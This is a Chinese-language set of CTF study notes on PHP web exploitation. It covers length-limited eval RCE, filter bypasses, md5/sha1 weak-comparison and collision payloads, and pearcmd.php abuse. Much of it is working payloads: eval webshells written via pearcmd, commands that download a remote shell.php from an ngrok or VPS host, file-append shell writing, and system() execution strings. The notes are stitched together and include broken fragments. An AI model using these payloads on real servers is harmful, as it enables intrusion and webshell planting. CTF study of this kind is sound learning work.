system('getallheaders'(){1}) 在请求头中写入命令 1:xxx

限制长度

$param = $_REQUEST['param']; if ( strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false ) { eval($param); }

这种情况下,也有一些payload可用,

大概思路是利用外部get引入payload,进行执行

或者想办法写入一个文件,进行包含操作

姿势一:

`$_GET[1]`

是php的执行运算符,同shell_exec("") ,如果disable_function ban了shell_exec ,那么也无法使用,注意 是会先按照php 的"规则,来处理里面的输入的,也就是说,里面的php变量会被解析,

相似姿势exec($_GET[1])

姿势二:

include$_GET[1]

会包含执行$_GET[1]地址中的内容

然后就可以参考LFI/RFI的姿势进行rce

RFI巧用WebDAV绕过URL包含限制Getshell,

LFI 绕过 Session 包含限制 Getshell

也可以利用现在长度的命令执行多次调用

index.php?1=file_put_contents&param=$_GET[1](N,P,8) index.php?1=file_put_contents&param=$_GET[1](N,D,8) ... index.php?1=php://filter/read=convert.base64-encode/resource=N&parmas=include$_GET[1]

8是file_get_contents,的flag位FILE_APPEND,既写入文件存在就附加的 flag定义的值,通过多次调用写文件操作,把shell的base64写入,然后包含执行

姿势三:

param传入usort(...$_GET); 然后执行任意命令 http://127.0.0.1:60777/?1[]=}eval($_POST[_]);/*&1[]=&2=create_function

12.phpinfo()

php
phpinfo(); [~%8f%97%8f%96%91%99%90][!%FF](); (~%8F%97%8F%96%91%99%90)(); "\160\150\160\151\156\146\157"(); "\x70\x68\x70\x69\x6e\x66\x6f"(); ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo ${~%A0%B8%BA%AB}{%ff}();&%ff=phpinfo ('phpinfo')(); ("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")(); ("%10%08%10%09%0e%06%0f"|"%60%60%60%60%60%60%60")();

13.bypass disable_functions

php
<?php dangerous_functions = array('pcntl_alarm','pcntl_fork','pcntl_waitpid','pcntl_wait','pcntl_wifexited','pcntl_wifstopped','pcntl_wifsignaled','pcntl_wifcontinued','pcntl_wexitstatus','pcntl_wtermsig','pcntl_wstopsig','pcntl_signal','pcntl_signal_get_handler','pcntl_signal_dispatch','pcntl_get_last_error','pcntl_strerror','pcntl_sigprocmask','pcntl_sigwaitinfo','pcntl_sigtimedwait','pcntl_exec','pcntl_getpriority','pcntl_setpriority','pcntl_async_signals','error_log','system','exec','shell_exec','popen','proc_open','passthru','link','symlink','syslog','ld','mail', 'mbstring', 'imap_open', 'imap_mail', 'libvert_connect', 'gnupg_init', 'imagick') // Loop through dangerous functions and print if it is enabled foreach($dangerous_functions as $function) { if (function_exists($function) { echo $function . " is enabled"; } }

2.php反序列化

参考表格:

php2

php

常见魔术方法:

__wakeup() //使用unserialize时触发

__sleep() //使用serialize时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get(name) //当你尝试读取一个类中不存在或不可访问的属性时,__get 方法会被调用。它接收一个参数 name,表示你试图访问的属性名。 __set(name,name, value) //当你尝试设置一个类中不存在或不可访问的属性时,__set 方法会被调用。它接收两个参数:name表示属性名,name 表示属性名,value 表示要设置的值。

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__toString() //把类当作字符串使用时触发

__invoke() //当脚本尝试将对象调用为函数时触发

3.php特性

1.例题

newstar2023

第一关主要考察PHP中md5弱类型比较的特点,只需要找到两个值不同但md5值以0e开头的字符串即可通过本关,原理是0e在进行弱类型比较时会被当作科学计数法进行比较。

php
if(isset($_GET['key1']) && isset($_GET['key2'])){ echo "=Level 1=<br>"; if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){ ​ $flag1 = True; }else{ ​ die("nope,this is level 1"); } }

构造Payload如下:

key1=QNKCDZO&key2=240610708

第二关主要考察PHP哈希函数的特性,在处理数组类型的传参时,md5、sha1等哈希函数会返回NULL值,由此可以构造出NULL===NULL从而通过判断。

php
if($flag1){ echo "=Level 2=<br>"; if(isset($_POST['key3'])){ ​ if(md5($_POST['key3']) === sha1($_POST['key3'])){ ​ $flag2 = True; ​ } }else{ ​ die("nope,this is level 2"); } } 构造Payload如下: key1=QNKCDZO&key2=240610708 POST-DATA: key3[]=1

第三关主要考察strcmp函数特性,如果传入的参数为数组类型,该函数就会返回NULL值,构造NULL==0从而通过判断

php
if($flag2){ echo "=Level 3=<br>"; if(isset($_GET['key4'])){ ​ if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){ ​ $flag3 = True; ​ }else{ ​ die("nope,this is level 3"); ​ } } }

构造Payload如下:

key1=QNKCDZO&key2=240610708&key4[]=2

POST-DATA: key3[]=1

第四关主要考察is_numeric函数特性,在传入的数字后加入任意字母即可通过本层的判断。

i

php
f($flag3){ echo "=Level 4=<br>"; if(isset($_GET['key5'])){ ​ if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){ ​ $flag4 = True; ​ }else{ ​ die("nope,this is level 4"); ​ } } }

构造Payload如下:

key1=QNKCDZO&key2=240610708&key4[]=2&key5=2024a

POST-DATA: key3[]=1

第五关考察extract函数导致的变量覆盖漏洞,这里的if判断只要保证传入变量flag5即可,根据上面的正则限制,变量值不能为字母和数字,那么传入一个任意符号即可通过本层。

php
if($flag4){ echo "=Level 5=<br>"; extract($_POST); foreach($_POST as $var){ ​ if(preg_match("/[a-zA-Z0-9]/",$var)){ ​ die("nope,this is level 5"); ​ } } if($flag5){ ​ echo file_get_contents("/flag"); }else{ ​ die("nope,this is level 5"); } }

构造Payload如下:

key1=QNKCDZO&key2=240610708&key4[]=2&key5=2024a

POST-DATA: key3[]=1&flag5=?

2.MD5碰撞

d131dd02c5e6eec4693d9a0698aff95c 2fcab58712467eab4004583eb8fb7f89 55ad340609f4b30283e488832571415a 085125e8f7cdc99fd91dbdf280373c5b d8823e3156348f5bae6dacd436c919c6 dd53e2b487da03fd02396306d248cda0 e99f33420f577ee8ce54b67080a80d1e c69821bcb6a8839396f9652b6ff72a70

and

d131dd02c5e6eec4693d9a0698aff95c 2fcab50712467eab4004583eb8fb7f89 55ad340609f4b30283e4888325f1415a 085125e8f7cdc99fd91dbd7280373c5b d8823e3156348f5bae6dacd436c919c6 dd53e23487da03fd02396306d248cda0 e99f33420f577ee8ce54b67080280d1e c69821bcb6a8839396f965ab6ff72a70

produce an MD5 collision.

Each of these blocks has MD5 hash 79054025255fb1a26e4bc422aef54eb4.

两个不同的十六进制格式的字符串:

4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2 4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2

都有MD5哈希:

008ee33a9d58b51cfeb425b0959121c9

范例:

>md5sum message1.bin message2.bin 008ee33a9d58b51cfeb425b0959121c9 message1.bin 008ee33a9d58b51cfeb425b0959121c9 message2.bin >sha1sum message1.bin message2.bin c6b384c4968b28812b676b49d40c09f8af4ed4cc message1.bin c728d8d93091e9c7b87b43d9e33829379231d7ca message2.bin

另一个例子(十六进制):

0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef 0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef

都有MD5哈希:

cee9a457e790cf20d4bdaa6d69f01e41

MD5碰撞篇

主要是php的强类型和弱类型比较的特点引发的漏洞,一般结合代码审计题目出现,少数结合sql注入在passwd字段产生考点。

数组绕过

有md5判断时候,数组返回都是null,所以可以a[]=1&b[]=2

数组还可以绕过:

md5(Array()) = null sha1(Array()) = null ereg(pattern,Array()) =null preg_match(pattern,Array()) = false strcmp(Array(), “abc”) =null strpos(Array(),“abc”) = null strlen(Array()) = null

0e绕过

0e在php判断都是0,所以相等,经过md5加密后这些都是0e开头:

字母数字混合类(MD5值):

s878926199a

0e545993274517709034328855841020

s155964671a

0e342768416822451524974117254469

s214587387a

0e848240448830537924465865611904

s214587387a

0e848240448830537924465865611904

大写字母类:

QLTHNDT

0e405967825401955372549139051580

QNKCDZO

0e830400451993494058024219903391

EEIZDOI

0e782601363539291779881938479162

纯数字类:

0e462097431906509019562988736854

0e462097431906509019562988736854

字符和数字比较(只在浏览器端成功,bp可能成功)

php
var_dump('a' == 0); //bool(true) var_dump('1a' == 1); //bool(true) var_dump('12a' == 1); //bool(false)

会出现上面的结果是因为字符串在和数字比较的时候会将字符串转化为数字,比如a转换失败成False,False又和0弱类型比较是相等的,所以第一个是true。 但是如果字符串是以数字开头的,那么就会转成这个数字再做比较,所以第二个也是true,第三个则是因为转成数字后变成了12,不等于1,则为false。

php
var_dump(True == 0); //bool(false) var_dump(True == 'False'); //bool(true) var_dump(True == 2); //bool(true)

bool 1和任何比较都相等,除了0和false,因为0也认为是bool false,true是不等于false的,所以第一条是false,其余的全是true。

科学计数法的妙用

intval()函数在处理字符串型的科学计数法时,只输出e前面的数字

可以过:

intval(num) < 2020 && intval(num + 1) > 2021

本身经过md5加密后还等于自身

php
md5:0e215962017

mt_rand伪随机化

[GWCTF 2019]枯燥的抽奖 注意php版本 工具:https://www.openwall.com/php_mt_seed/

python
str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' str2 = 'w6Tv3Dw8xk' str3 = str1[::-1] length = len(str2) res = '' for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' ' break print(res)

tips:

1.在url中加入参数前空格一下,可以避开对这个参数的检测

2.在参数开头加一个空格,也可能实现数字和字符比较的相等,如id= 123a(123前有一个空格),php会认为这是和123有一样的弱类型。

3、有时候url后不加/直接?接参数

4、同样的传参在bp和浏览器可能不同,最好都试试

强类型比较

可以数组绕过和fastcoll_v1.0.0.5.exe生成两个不同的字符串但是md5值相同。如果string限制数组,只能后者。

md5拼接/哈希长度拓展攻击

根据md5()里面的参数拼接的结果推断出参数:eg:[De1CTF 2019]SSRF Me 1

hashpump用法 https://www.cnblogs.com/pcat/p/5478509.html https://blog.csdn.net/qq_45290991/article/details/120400363

两张jpg图片MD5相同

这两个图像具有相同的md5哈希:253dd04e87492e4fc3471de5e776bc3d

examples

MD51

MD52

string转换比较+强比较:

MD5: payload

=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

sha1:

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

3.php md5相关特性

1.md5原始二进制利用+0e绕过md5弱等于+数组绕过md5强等于:[Easy MD5](https://github.com/C0nstellati0n/NoobCTF/blob/main/CTF/BUUCTF/Web/Easy MD5.md)。

一个0e开头且其md5值也是0e开头的字符串,可用于弱等于:0e215962017

php
MD5函数漏洞: 例: $str1 = $_GET['str1']; $str2 = $_GET['str2']; if (md5($str1) == md5($str2)){ die('OK'); } php弱类型比较产生的漏洞: 通常要构造出MD5值为0e开头的字符串,这样的话弱类型比较会认为是科学技术法,0的多少次方都是0,因此可以绕过 有一些字符串的MD5值为0e开头: QNKCDZO 240610708 s878926199a s155964671a s214587387a 以下值在sha1加密后以0E开头: aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m 0e1290633704 10932435112 还有MD5和双MD5以后的值都是0e开头的 CbDLytmyGm2xQyaLNhWn 770hQgrBOjrcqftrlaZk 7r4lGXCH2Ksu2JNT3BYM ### 4.php基础

因为数组要求构造a和b不同,但是MD5相同,也就是说要求传入两个MD5相同的不同字符串。所以我们只能用MD5碰撞来实现

#1 a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 #2 a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf% #3 $a="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2"; $b="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";

注意一点,post时一定要urlencode!!!

5.php知识点

1..PHP会将传参中的空格( )、小数点(.)自动替换成下划线。

当 php 版本⼩于 8 时,GET 请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这

个 [ 会被直接转为 _ ,但是后⾯如果有 . ,这个 . 就不会被转为 _ 。特殊变量名 ez_ser.from_you,传入ez[ser.from_you即可绕过

2.PHP文件常见函数参数

$_SERVER

_SERVER[‘PHP_SELF’] #当前正在执行 脚本的文件名,与 document root相关。 _SERVER[‘argv’] #传递给该 脚本的参数。 _SERVER[‘argc’] #包含传递给程序的 命令行参数的个数(如果运行在命令行模式)。 _SERVER[‘GATEWAY_INTERFACE’] #服务器使用的 CGI 规范的版本。例如,“CGI/1.1”。

$_SERVER["HTTP_X_FORWARDED_FOR"]代理服务器ip地址

_SERVER[‘SERVER_NAME’] #当前 运行脚本所在服务器 主机的名称。 _SERVER[‘SERVER_SOFTWARE’] #服务器标识的字串,在响应请求时的头部中给出。 _SERVER[‘SERVER_PROTOCOL’] #请求页面时通信协议的名称和版本。例如,“HTTP/1.0”。 _SERVER[‘REQUEST_METHOD’] #访问页面时的请求方法。例如:“GET”、“HEAD”,“POST”,“PUT”。 _SERVER[‘QUERY_STRING’] #查询(query)的字符串。 _SERVER[‘DOCUMENT_ROOT’] #当前 运行脚本所在的文档根目录。在服务器配置文件中定义。 _SERVER[‘HTTP_ACCEPT’] #当前请求的 Accept: 头部的内容。 _SERVER[‘HTTP_ACCEPT_CHARSET’] #当前请求的 Accept-Charset: 头部的内容。例如:“iso-8859-1,*,utf-8”。 _SERVER[‘HTTP_ACCEPT_ENCODING’] #当前请求的 Accept-Encoding: 头部的内容。例如:“gzip”。 _SERVER[‘HTTP_ACCEPT_LANGUAGE’]#当前请求的 Accept-Language: 头部的内容。例如:“en”。 _SERVER[‘HTTP_CONNECTION’] #当前请求的 Connection: 头部的内容。例如:“Keep-Alive”。 _SERVER[‘HTTP_HOST’] #当前请求的 Host: 头部的内容。 _SERVER[’ HTTP_REFERER’] #链接到当前页面的前一页面的 URL 地址。 _SERVER[’ HTTP_USER_AGENT’] #当前请求的 User-Agent: 头部的内容。 SERVER[HTTPS]—如果通过https访问,则被设为一个非空的值(on),否则返回off_SERVER[‘HTTPS’] — 如果通过https访问,则被设为一个非空的值(on),否则返回off _SERVER[‘REMOTE_ADDR’] #正在浏览当前页面用户的 IP 地址。 _SERVER[‘REMOTE_HOST’] #正在浏览当前页面用户的 主机名。 _SERVER[‘REMOTE_PORT’] #用户连接到服务器时所使用的端口。 _SERVER[‘SCRIPT_FILENAME’] #当前执行 脚本的 绝对路径名。 _SERVER[‘SERVER_ADMIN’] # 管理员信息 _SERVER[‘SERVER_PORT’] #服务器所使用的端口 _SERVER[‘SERVER_SIGNATURE’] #包含服务器版本和 虚拟主机名的字符串。 _SERVER[‘PATH_TRANSLATED’] #当前 脚本所在文件系统(不是文档根目录)的基本路径。 _SERVER[‘SCRIPT_NAME’] #包含当前 脚本的路径。这在页面需要指向自己时非常有用。 $_SERVER[‘REQUEST_URI’] #访问此页面所需的 URI。例如,“/index.html”

在 PHP 中,get_defined_vars() 函数用于获取当前作用域内所有已定义的变量,包括环境变量、服务器变量以及用户定义的变量。这个函数返回一个包含所有变量的关联数组,其中数组的键是变量名,数组的值是变量的值。

以下是一个使用 get_defined_vars() 的示例:

php
<?php $a = 1; $b = 'hello'; *// 获取当前作用域内所有已定义的变量* $vars = get_defined_vars(); *// 打印所有变量* echo '<pre>'; print_r($vars); echo '</pre>'; ?>
php
#可以获取全部可用已定义变量 get_defined_vars #利用函数处理的限制进行目录溢出(测试出大概需要21次以上才能成功)file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
  1. 可以使用以下内容来绕过php的getmagesize()函数获得的图片长宽。
#define width 1 #define height 1

放头部和末尾都可以。

php的mb_strtolower()函数可用于绕过一些过滤。

<?php var_dump(mb_strtolower('İ')==='i'); //true ?>
php
#在数字前加上空格,也会被is_numeric函数认为是数字,还有%09 %0A %0B %0C %0D + %2B - . 0 1 2 3 4 5 6 7 8 9 #trim函数会过滤空格以及\n\r\t\v\0,但不会过滤\f(这是换页键,%0c) ?num=%0c36 #%0是\f的urlencode形式 #利用函数处理的限制进行目录溢出(测试出大概需要21次以上才能成功) ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

6.php ->,=>和::

php‘- >’符号是“插入式解引用操作符”(infix dereference operator)。换句话说,它是调用由引用传递参数的子程序的方法(当然,还有其它的作用)。正如我们上面所提到的,在调用PHP的函数的时候,大部分参数都是通过引用传递的。PHP中的‘->’功能就和它们在Perl或C++中一样。下面是一个简单的解引用的例子:

在PHP的脚本中‘=>’操作符时很常见的。因为php数组函数很丰富,我们要经常用到数组,因为它操作数据很方便。

php
$phparr= new array( in => 'reply,' side => 'left', padx => 2m, pady => 2m, ipadx => 2m, ipady => 1m )

顺便说一下,如果你需要用数字“大于等于”的符号,你应该用“>=”而不是“=>”。 在PHP中“::”这个叫范围解析操作符,又名域运算符。“::”符号可以认为是与C语言中的“.”相似的,而它更像C++中(Perl)的::类范围操作符。 php调用类的内部静态成员,或者是类之间调用就要用:: 下面是一个例子:

php
class A { static $count = 0; static function haha() { // } function diaoyoug() { self::haha(); self::$count; } } a.b.c; /* C语言中的 */ a::b::c(); // C++ 中的函数 $a::b::c; # Perl 5中的标量

7.php绕过

system()函数过滤

php
0x01 十六进制绕过 “\x73\x79\x73\x74\x65\x6d”(); === system(); 0x02 括号绕过 (sy.(st).em)(); === system(); 0x03 内敛替代 echo `ls`; echo $(ls); ?><?=`ls`; ?><?=$(ls); <?=`ls /`;?> 等效于<?php echo `ls /`; ?> 0x04 取反(~)绕过 (~%8C%86%8C%8B%9A%92)();===system();

1.以下代码可传入23333%0a绕过。可以说末尾加个%0a是绕过^xxx$这个格式的普遍解法,因为preg_match只能匹配一行数据,无法处理换行符。

if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; }

2.php pcre回溯限制绕过preg_match。例题:[FBCTF2019]RCEService

new ERROR(1); 或者exit();或者die() ; 绕过

利用new一个类之后后边不管是什么都能传上去,只不过只有new一个php的基类时上传的php文件才不会因为报错而导致停止执行。也就是说,这里随便new一个基类就行

9.关于pearcmd.php的巧妙利用

有用的payload(好像一定要post,不知道为什么):

php
/?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/man.php+-d+man_dir=<?eval($_POST[0]);?>+-s /?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_REQUEST[0]);?>+/tmp/hello.php /?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_REQUEST[123]);?>+/tmp/1.php /usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://f91c-2001-250-3000-3cc4-a43d-c0fe-ebf2-8d.ngrok.io/shell.php(不知道有没有用,好像没用)

如果开启register_argc_argv这个配置,我们在php中传入的query-string会被赋值给SERVER[argv]。而pear可以通过readPHPArgv函数获得我们传入的_SERVER['argv']。 而pear可以通过readPHPArgv函数获得我们传入的_SERVER['argv'],需要注意的是 这个数字中的值是通过传进来内容中的+来进行分隔的,下面的payload中也有频繁利用到。

php
public static function readPHPArgv() { global $argv; if (!is_array($argv)) { if (!@is_array($_SERVER['argv'])) { if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) { $msg = "Could not read cmd args (register_argc_argv=Off?)"; return PEAR::raiseError("Console_Getopt: " . $msg); } return $GLOBALS['HTTP_SERVER_VARS']['argv']; } return $_SERVER['argv']; } return $argv; } payload: /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

通过install命令远程下载shell 在有回显的情况下,服务器会回显下载的目录

php
/?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php

W4师傅还提出了一个很脑洞的利用方法

php
payload为/?+download+http://ip:port/test1.php&file=/usr/local/lib/php/pearcmd.php

在服务器上构造好目录

.php&file=/usr/local/lib/php/,将恶意php命名为pearcmd.php

php
/?file=/usr/local/lib/php/pearcmd.php&+download+http://ip:port/source/hint.txt

不出网

php
从大佬这里学到的https://blog.csdn.net/rfrder/article/details/121042290 pear -c /tmp/.feng.php -d man_dir=<?=eval($_POST[0]);?> -s 把木马写入本地

10.php进制和编码

php
hex2bin('73797374656d')('uniq /f*');

在 PHP 中,有许多函数可以用于编码或进制转换。以下是一些常用的函数:

  1. bin2hex:将二进制数据转换为十六进制表示。

    php
    $binary = "abc"; echo bin2hex($binary);
  2. hex2bin:将十六进制表示的数据转换为二进制数据。

    php
    $hex = "616263"; echo hex2bin($hex);
  3. base64_encode:将数据编码为 base64。

    php
    $data = "Hello, World!"; echo base64_encode($data);
  4. base64_decode:解码 base64 编码的数据。

    php
    $base64 = "SGVsbG8sIFdvcmxkIQ=="; echo base64_decode($base64);
  5. urlencode:编码 URL。

    php
    $url = "https://example.com/?name=John Doe"; echo urlencode($url);
  6. urldecode:解码 URL 编码的字符串。

    php
    $url = "https%3A%2F%2Fexample.com%2F%3Fname%3DJohn+Doe"; echo urldecode($url);
  7. ord:返回字符串的首个字符的 ASCII 值。

    php
    $string = "Hello"; echo ord($string);
  8. chr:从指定的 ASCII 值返回字符。

    php
    $ascii = 72; echo chr($ascii);
  9. dechex:十进制转十六进制。

    php
    $number = 255; echo dechex($number);
  10. hexdec:十六进制转十进制。

    php
    $hex = "ff"; echo hexdec($hex);
  11. decbin:十进制转二进制。

    php
    $number = 12; echo decbin($number);
  12. bindec:二进制转十进制。

    php
    $binary = "1100"; echo bindec($binary);
echo base_convert('system',36,10); //得到1751504350,从36进制转换到10进制,36进制包含10个数字和26个字母 echo base_convert('getallheaders',30,10); //得到8768397090111664438,这里不使用36进制是因为精度会丢失,尝试到30的时候成功

数学函数rce

php
<?php /* # -*- coding: utf-8 -*- # @Author: 收集自网络 # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-06 14:04:45 */ error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); }
php
$_GET[abs]($_GET[acos]) //strlen($content) >= 80,有长度限制,所以利用get命令执行$_GET{abs}($_GET{acos}) //[]在黑名单,用{}代替$pi=_GET;$$pi{abs}($$pi{acos}) ↓ 进制转换 base_convert(number,frombase,tobase):在任意进制之间转换数字 dechex():把十进制数转换为十六进制数 hex2bin():把十六进制值的字符串转换为二进制,返回 ASCII 字符 最重要的是hex2bin函数,但是不在白名单里面 base_convert构造hex2bin(我想用base_convert直接转_GET,但是只能得到get) base_convert('hex2bin',36,10) → 37907361743 _GET → hex十六进制 5f474554 (不能有字母所以十六进制不行) → dec十进制 1598506324 (在线转换) 所以_GET可以写为 hex2bin(dechex(1598506324)) ↓ base_convert('37907361743',10,36)(dechex(1598506324)) 最后的payload ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=ls ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat *

11.session文件包含

web81

php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file); }

这次把:给ban了,题目提示使用日志包含,之前都是手工发包,这次写个脚本来跑

